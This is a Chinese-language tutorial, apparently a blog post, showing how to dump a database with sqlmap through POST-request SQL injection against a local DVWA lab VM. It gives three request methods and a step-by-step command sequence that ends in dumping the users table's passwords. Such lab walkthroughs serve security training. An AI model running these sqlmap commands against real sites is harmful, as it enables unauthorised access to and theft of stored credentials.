SQLMAP 脱库过程(post请求,三种方法)

时间:2024-04-07 15:11:04

一、准备工作

1、sqlmap为python语言开发,因此需要具备python环境。

2、python环境搭建及sqlmap下载,可参考其他文章。(很多也很全,这个不是本文重点,因此略过)

二、环境搭建

1、本人使用的是Mac、windows7虚拟机,windows7中部署DVMA

2、以DVMA的sql注入为例(DVMA安全级别为medium),进行详细介绍。

三、post请求脱库三种方法

方法1:sqlmap -r xxx.txt

利用burp抓包,保存报文为txt文件,利用sqlmap指定文本注入。

方法2:sqlmap -u "url" --forms [最简单]

sqlmap的forms参数,会自动抓取post包。从而进行注入。

方法3:sqlmap -u "url" --data "key1=value1&key2=values&key3=values"

指定参数,key=value形式,多参数使用&符号链接。

四、post请求脱库(方法1:需借助burpsuit)
1、访问链接“http://192.168.200.130/DVWA/vulnerabilities/sqli/” User ID下拉“1” 。(此处不在验证sql注入,直接使用sqlmap脱库)

待测试链接为“http://192.168.200.130/DVWA/vulnerabilities/sqli/”,可发现没有参数,报文信息如下,将报文另存为post.txt:

SQLMAP 脱库过程(post请求,三种方法)

2、开始sqlmap测试,python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch

(-r 指定文件路径,类似于-u指定链接一样),可发现id存在注入,如下图。

SQLMAP 脱库过程(post请求,三种方法)

SQLMAP 脱库过程(post请求,三种方法)

3、获取当前数据库 --current-db参数,即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch --current-db

分析出当前数据库为dvwa

SQLMAP 脱库过程(post请求,三种方法)

4、获取当前数据库下的表 --tables参数 即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa --tables

(-D:指定数据库名)

可发现,运行结果后,有两个表,分别是guestbook、users

SQLMAP 脱库过程(post请求,三种方法)

5、获取指定表的列属性 --columns参数 即:python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa -T users --columns (-D:指定数据库名,-T:指定表名)

SQLMAP 脱库过程(post请求,三种方法)

运行结果后,存在8个列属性。

6、正式脱库 --dump参数,即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa -T users -C "user,avatar,password,user_id" --dump

(-D:指定数据库名,-T:指定表名,-C:指定需要的列名,--dump代表下载)

SQLMAP 脱库过程(post请求,三种方法)

可发现,已将相关信息下载到“/Users/***/.sqlmap/output/192.168.200.130/dump/dvwa/users.csv”目录下。

成功完成post请求注入的脱库。